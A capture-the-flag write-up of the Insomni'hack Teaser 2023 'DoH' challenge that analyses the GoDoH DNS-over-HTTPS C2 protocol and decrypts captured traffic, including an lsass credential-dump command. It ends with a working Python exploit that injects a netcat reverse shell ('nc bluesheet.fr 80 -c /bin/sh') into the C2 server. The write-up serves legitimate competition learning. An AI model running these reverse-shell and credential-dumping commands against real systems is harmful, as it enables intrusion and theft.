Insomni'Hack Teaser 2023 - DoH

DoH - Insomni'hack Teaser 2023

This is a writeup for the DoH challenge of the Insomni'hack Teaser 2023 CTF

Challenge details

The Powell Motors company provides a PCAP file which contains evidences of a potential data exfiltration with a large volume of suspicious DNS over HTTPS (DoH) requests. By analyzing the network traffic behavior, CSIRT team discovered that the attackers used the Godoh C2 framework as a covert channel for command and control (C&C) or data exfiltration to bypass security measures. Since the organization performed SSL break/inspection, all DoH traffic can be extracted from the PCAP Capture and analyzed. However, the security team was not able to find a way to decrypt data exchanges between the client and the C2 server. Some security researchers on social media also pointed that attackers left a backdoor in the C2 server that could allow remote code execution by sending a special crafted message using the C2 client... We are given a network capture of all the (decrypted) network traffic.

A hint, added later, wrote something like:

Amongst the five keys given by the server, one of them is used by the live instance.

Solution

First of all, I want to shout out to $in and Nics. They were insane on that challenge and did most of the job that I'm about to relate here.

What is in the capture ?

In the pcap file, we can see a lot of HTTP requests, corresponding to the DNS-over-HTTPS requests. The actual content of the DNS-over-HTTPS responses is gzip-compressed (as per the content-encoding HTTP response header)

So we can write a simple python parser to ease our future work:

from scapy.all import *
import gzip
import json

packets = rdpcap('2023-01-20-4023142337-63208778630ce7d965248f8d0a2cbc80661f7af6bdce28c63aa4a67a92c9abd1.pcap')

for pkt in packets:
    ip_src=pkt[IP].src
    if ip_src == "192.168.100.190":
        print("Client -> Server")
        data = bytes(pkt).split(b"name=")[1].split(b".insomnihack.tech")[0]
        print(data)

    else:
        print("Server -> Client")
        data = bytes(pkt).split(b"\r\n\r\n")[1]
        data = json.loads(gzip.decompress(data).decode())
        print(data)

Thanks to $in for the parser!

Here is a sample output for the first few packets:

Client -> Server
b'7078706c6e'
Server -> Client
{'Status': 0, 'TC': False, 'RD': True, 'RA': True, 'AD': False, 'CD': False, 'Question': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16}], 'Answer': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16, 'TTL': 1, 'data': 'v=B2B3FE1C'}], 'Comment': 'Response from 194.182.163.204.'}
Client -> Server
b'7078706c6e'
Server -> Client
{'Status': 0, 'TC': False, 'RD': True, 'RA': True, 'AD': False, 'CD': False, 'Question': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16}], 'Answer': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16, 'TTL': 1, 'data': 'v=B2B3FE1C'}], 'Comment': 'Response from 194.182.163.204.'}

And then a bit later, we have DNS request of this form:

Client -> Serveur
b'f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7'
Serveur -> Client
{'Status': 0, 'TC': False, 'RD': True, 'RA': True, 'AD': False, 'CD': False, 'Question': [{'name': 'f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7.insomnihack.tech.', 'type': 1}], 'Answer': [{'name': 'f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7.insomnihack.tech.', 'type': 1, 'TTL': 60, 'data': '1.1.1.1'}], 'Comment': 'Response from 194.182.163.204.'}

DNS request type 16 correspond to a request for TXT records, and type 1 correspond to A records.

Weirdly, this parser crashes at some point in the capture. This makes us pay more attention to the capture file, and we find out that two normal DNS queries (UDP 53) are present as well, for records of type 56 (which does not seem to be a standard type) on the root domain insomnihack.tech, for which the DNS answers with a 16-bytes hex string.

Let's dig into GoDoH to understand what these packets mean !

Looking into GoDoH code

First, let us understand what is this domain the client is requesting most of the time. It looks like a 5 random hex bytes, so let's look for the word random in the code. We have a few occurences, with some of them in cmd/agent.go, which looks like the code for the client. More specifically, this result leads us to believe that this 5-byte string is the client identifier.

Then, let's look at the constants defined here, to give us an idea of what we have seen. We find here the explanations on the v=... bits of the response. Let's see where the CmdTxtResponse is used in the server. We have interesting code snippets here in the server part (crafting the message), and here in the client part (parsing the message), which seems easier to understand.

if strings.Contains(response.Data, protocol.CmdTxtResponse) {

    cmdParsed := strings.Split(response.Data, "p=")[1]
    cmd := strings.Split(cmdParsed, "\"")[0]
    log.Debug().Str("cmd-data", cmd).Msg("raw command")

    // decode the command
    dataBytes, err := hex.DecodeString(cmd)
    if err != nil {
        log.Error().Err(err).Msg("failed to decode command data")
        return
    }

    var command string
    lib.UngobUnpress(&command, dataBytes)
    log.Debug().Str("cmd", command).Msg("executing command")

    // [...]
}

Code extract from cmd/agent.go
So the actual command which the client needs to run is the part after the p= in the response, hex-decoded and then passed through the lib.UngobUnpress function.

func UngobUnpress(s interface{}, data []byte) error {

    // Decrypt the data
    decryptData, err := Decrypt(data)
    if err != nil {
        return err
    }

    if err := json.Unmarshal(decryptData, &s); err != nil {
        return err
    }

    return nil
}

[...]

// Decrypt will decrypt a byte stream
// https://golang.org/pkg/crypto/cipher/#example_NewCFBDecrypter
func Decrypt(ciphertext []byte) ([]byte, error) {
    key, _ := hex.DecodeString(cryptKey)

    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    // The IV needs to be unique, but not secure. Therefore it's common to
    // include it at the beginning of the ciphertext.
    if len(ciphertext) < aes.BlockSize {
        return nil, errors.New("Cipher text too short")
    }

    // Ensure we have the correct blocksize
    if (len(ciphertext) % aes.BlockSize) != 0 {
        return nil, errors.New("Cipher text is not the expected length")
    }

    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]

    stream := cipher.NewCBCDecrypter(block, iv)
    stream.CryptBlocks(ciphertext, ciphertext)

    ciphertext, err = pkcs7strip(ciphertext, aes.BlockSize)
    if err != nil {
        return nil, err
    }

    return ciphertext, nil
}

Code extract from lib/utils.go

So this is really about AES encryption. Don't let yourself be fooled by the comment above the Decrypt function mentionning CFB, in the code it is really decrypted with the CBC mode of AES. The IV is taken from the first 16 bytes of the input, and the rest is deciphered and PKCS7-unpadded. There is a decryption key in the code, but it doesn't work on the commands in the capture... Indeed, in the main README file it is mentionned that you should regenerate the key before compiling the C2, which is what the authors might have done here. Let's put that aside, we will come back on it shortly.

For now, let's complete our understanding of the communication protocol, with the last type of exchange, this time over DNS type A requests (instead of TXT for the polling seen previously).

This code snippet, presenting the ARequestify function is of prime interest to this regard:

// ARequestify generates hostnames for DNS lookups via A records. This is
// typically for data streams coming from the client to the server.
//
// A full conversation with the server will involve multiple DNS lookups.
// Requestifying assumes that the client will be sending data to the server.
// Each request normally requires the server to respond with a specific IP
// address indicating success, failure or other scenarios. Checking these is
// up to the caller to verify, but something to keep in mind.
//
// Generically speaking, hostnames for lookups will have multiple labels. ie:
//  Structure:
//      ident.type.seq.crc32.proto.datalen.data.data.data
//
//  ident:      the identifier for this specific stream
//  type:       stream status indicator. ie: start, sending, stop
//  seq:        a sequence number to track request count
//  crc32:      checksum value
//  proto:      the protocol this transaction is for. eg: file transfer/cmd
//  datalen:    how much data does this packet have
//  data:       the labels containing data. max of 3 but can have only one too
//
//  Size: 4 + 2 + 16 + 8 + 2 + 2 + 60 + 60 + 60 for a maximum size of 214
//  Sample:
//      0000.00.0000000000000000.00000000.00.00.60.60.60
//
// Note: Where the label lenths may be something like 60, a byte takes two of
// those, meaning that each data label is only 30 bytes for a total of 90
// bytes per request, excluding ident, seq and crc32.
func ARequestify(data []byte, protocol int) (requests []string) {
    // start the sequence counter
    seq := 1

    // generate an identifier for this stream. this identifier is used server-side
    // to tie a stream that will be chunked into multiple requests together.
    ident := make([]byte, 2)
    if _, err := rand.Read(ident); err != nil {
        log.Fatal(err)
    }

    // initialization request to start this stream with StreamStart
    var emptyBytes []byte
    initRequest := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%x.%x.%x",
        ident, StreamStart, seq-1, crc32.ChecksumIEEE(emptyBytes), protocol, 0, 0x00, 0x00, 0x00)
    requests = append(requests, initRequest)

    // split the _actual_ data into chunks of 90 bytes, each resulting in an A record lookup
    // for the StreamData type
    for _, s := range lib.ByteSplit(data, 90) {
        labelSplit := lib.ByteSplit(s, 30)

        // Having the data split into 3 labels, prepare the data label
        // that will be used in the request.
        var dataLabel string
        switch len(labelSplit) {
        case 1:
            dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], 0x00, 0x00)
            break
        case 2:
            dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], labelSplit[1], 0x00)
            break
        case 3:
            dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], labelSplit[1], labelSplit[2])
            break
        }

        request := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%s",
            ident, StreamData, seq, crc32.ChecksumIEEE(s), protocol, len(labelSplit), dataLabel)
        requests = append(requests, request)

        // increment the sequence number
        seq++
    }

    // wrap up the stream with a final StreamEnd request
    destructRequest := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%x.%x.%x",
        ident, StreamEnd, seq, crc32.ChecksumIEEE(emptyBytes), protocol, 0, 0x00, 0x00, 0x00)
    requests = append(requests, destructRequest)

    return
}

code extract from protocol/data.go

The code here is REALLY WELL documented, and I encourage you to read the full comment above to understand the protocol. This function is used by the client when it needs to answer with the output of the command it had to run, here (which leads to here, where the real call is made). So once again, the data is passed to lib.GobPress, and thus is encrypted. One thing important to add, is that lib.UngobUnpress then passes the decrypted output to json.Unmarshal, so the cleartext data must be a valid json representation of a Go object. For example, for the Command object, the struct gives us the associated json keys:

// Command represents a command to be send over DNS.
type Command struct {
    Exec       string `json:"exec"`
    Data       []byte `json:"data"`
    ExecTime   int64  `json:"exectime"`
    Identifier string `json:"identifier"`
}

Getting the decryption key

Our team first thought about decrypting the exchanges using a potential padding oracle (AES CBC, PKCS7 padding, ..., you know what I mean). This sadly didn't lead to anything tangible, and we started digging an other option.
Remember those two normal DNS requests (UDP 53), returning 16-bytes hex strings ? Could these be AES keys ? They do not seem to decrypt the messages in the network capture, but... Remeber the challenge hint ? It mentionned five keys returned by the server, here we have only two... Can we replay the requests to get more responses ? Heck, let's try.

from scapy.all import *

keys = set()

while len(keys) < 5:
    dns_req = IP(dst='1.1.1.1')/UDP(dport=53)/DNS(qd=DNSQR(qname='insomnihack.tech', qtype=56))
    answer = sr1(dns_req, verbose=1)
    keys.add(answer[DNS].summary())

print('\n'.join(list(keys)))

Thanks to Nics for the script !

And here we go, we get the five keys !

ed5150f380df2571167928aed54bbf60
3ccfefeb7d869971cb14f2607f8005a5
52191178ac14745ef0e7d83da95a76ea
9773e2216d31e339b69b2b9ed0c9cf58
121fde15994f5bf3fbd3d434b32d31dd

And yes, the key 9773e2216d31e339b69b2b9ed0c9cf58 is the right one, and allow us to decrypt the whole exchange!

Sorry, I have lost the script on that one, it was basically parsing the commands sent by the C2 (through DNS TXT records, with v=A9F466E8) as well as the client responses (through DNS A records), and then decrypted using AES CBC and the right key.

"whoami"
root

"net user"

User accounts for \\DESKTOP-74KDSND

-------------------------------------------------------------------------------
Administrator            bobby                    DefaultAccount           
Guest                    WDAGUtilityAccount       
The command completed successfully.


"ipconfig /all"
[...]
"whoami /priv"

PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                               State   
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
[...]

"C:\\Users\\bobby\\AppData\\Local\\Temp\\pc.exe lsass lsa.dup"
exit status 1
"set"
exec: "set": executable file not found in %PATH%
"cmd.exe /c set"
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\bobby\AppData\Roaming
[...]

"download lsa.7z"

dumped file

"ipconfig"

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : network
   IPv4 Address. . . . . . . . . . . : 192.168.100.190
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.100.134

"whoami"
desktop-74kdsnd\bobby

"whoami"
desktop-74kdsnd\bobby

"whoami"
desktop-74kdsnd\bobby

"whoami"
desktop-74kdsnd\bobby

"whoami"
desktop-74kdsnd\bobby

"whoami"
736372742e6368nc 194.182.163.204 80 -c 'cat /etc/issue'
"whoami"
desktop-74kdsnd\bobby

Analysis of the decrypted traffic - Finding the backdoor, getting a shell on the C2 and grabbing the flag

Amongst all the commands we see, one of the answers looks funky:

"whoami"
736372742e6368nc 194.182.163.204 80 -c 'cat /etc/issue'

Why would a client answer with this string to the whoami command ? Could it be the backdoor mentionned in the challenge description ? 736372742e6368 is the string scrt.ch hex-encoded, so this might as well be it.
Let's try using it ourselves. The plan is to write a python script which acts as follows: 1. Poll the server (with DNS-over-HTTPS TXT records) until it asks us to run the whoami command 2. Answer with a netcat reverse-shell, prepended with hex('scrt.ch'), with DNS-over-HTTPS A records 3. Get reverse shell and profit!

import requests
import base64
from binascii import crc32
import os
import json
from time import sleep, time_ns

StreamStart = 0xbe
StreamData  = 0xef
StreamEnd   = 0xca

PollTypeUndefined = 0
PollTypeCheckin = 1
PollTypeUpload = 2

def do_req_A(ident, phase, seq, proto, data):

    checksum = crc32(b''.join(data))
    data_str = '.'.join(data[i].hex() if i < len(data) else '0' for i in range(3))
    payload = f"{ident}.{phase:x}.{seq}.{checksum:02x}.{proto}.{len(data)}.{data_str}"

    print(payload)
    r = requests.get(f"https://8.8.8.8//resolve?cd=false&name={payload}.insomnihack.tech&type=1")
    return json.loads(r.text)

def send_data_cmdprotocol(data):
    ident = os.urandom(2).hex()
    seq = 1

    # Stream start
    do_req_A(ident, StreamStart, seq - 1, 1, [])

    # Stream data
    data = [data[i:i+90] for i in range(0, len(data), 90)]
    for d in data:
        d = [d[i:i+30] for i in range(0, len(d), 30)]
        tmp = do_req_A(ident, StreamData, seq, 1, d)
        status = tmp["Answer"][0]["data"]
        print(status == "1.1.1.1")
        seq += 1

    ans = do_req_A(ident, StreamEnd, seq, 1, [])
    print(ans)
    # Stream end
    return status == "1.1.1.1"

name = b'aznrt'

from Crypto.Cipher import AES
import math

#KEY = bytes.fromhex("ed5150f380df2571167928aed54bbf60")
#KEY = bytes.fromhex("3ccfefeb7d869971cb14f2607f8005a5")
#KEY = bytes.fromhex("52191178ac14745ef0e7d83da95a76ea")
#KEY = bytes.fromhex("121fde15994f5bf3fbd3d434b32d31dd")
KEY = bytes.fromhex("9773e2216d31e339b69b2b9ed0c9cf58")

def encrypt(p):
    iv = os.urandom(16)
    cipher = AES.new(KEY,AES.MODE_CBC,iv)
    return iv + cipher.encrypt(p)

def decrypt(p):
    cipher = AES.new(KEY,AES.MODE_CBC,p[:16])
    return cipher.decrypt(p[16:])

def pkcs7pad(text):
    """
    Performs padding on the given plaintext to ensure that it is a multiple
    of the given block_size value in the parameter. Uses the PKCS7 standard
    for performing padding.
    """
    block_size = 16
    no_of_blocks = math.ceil(len(text)/float(block_size))
    pad_value = int(no_of_blocks * block_size - len(text))

    if pad_value == 0:
        return text + bytes([block_size]) * block_size
    else:
        return text + bytes([pad_value]) * pad_value


def do_req_TXT(name, phase):
    payload = f"{name.hex()}.{phase:x}.{os.urandom(4).hex()}"
    r = requests.get(f"https://8.8.8.8//resolve?cd=false&name={payload}.insomnihack.tech&type=16")
    return json.loads(r.text)



def poll():
    while True:
        tmp = do_req_TXT(name, PollTypeCheckin)
        print(tmp)
        ans = tmp["Answer"][0]["data"]
        if ans != "v=B2B3FE1C":
            return decrypt(bytes.fromhex(ans.split(',')[1].split("=")[1]))
        sleep(2)

def response(ans):
    s = json.dumps(ans).encode()

poll()

payload = "nc bluesheet.fr 80 -c '/bin/sh'"
data_to_anwser = b"scrt.ch".hex() + payload

ans = {"exec":"whoami","data":base64.b64encode(data_to_anwser.encode()).decode(),"exectime":time_ns(),"identifier":name.decode()}
data = json.dumps(ans).encode().replace(b' ', b'')
data = pkcs7pad(data)
data = encrypt(data)
print(decrypt(data))
print(send_data_cmdprotocol(data))

Thanks to Nics for the full script!

Let's go, we have a shell! But wait, we can't run ls ? Let's run their payload:

cat /etc/issue
Insomni'hack Alpine Jail GNU/Linux \n \l

Omg, we are in a jail...
By chance, the flag is in the environment variable FLAG, which we can get with the set/export shell builtin. That's it!

INS{E@t_And_P0wn_My_GoD0h!}

Conclusion

This was a really cool challenge, digging through the source code of GoDoH was a satisfying experience, understanding the network protocols and all that. Huge thanks to the challenge author poyo88, as well as the Insomni'hack team, and once again gg to my teammates $in and Nics!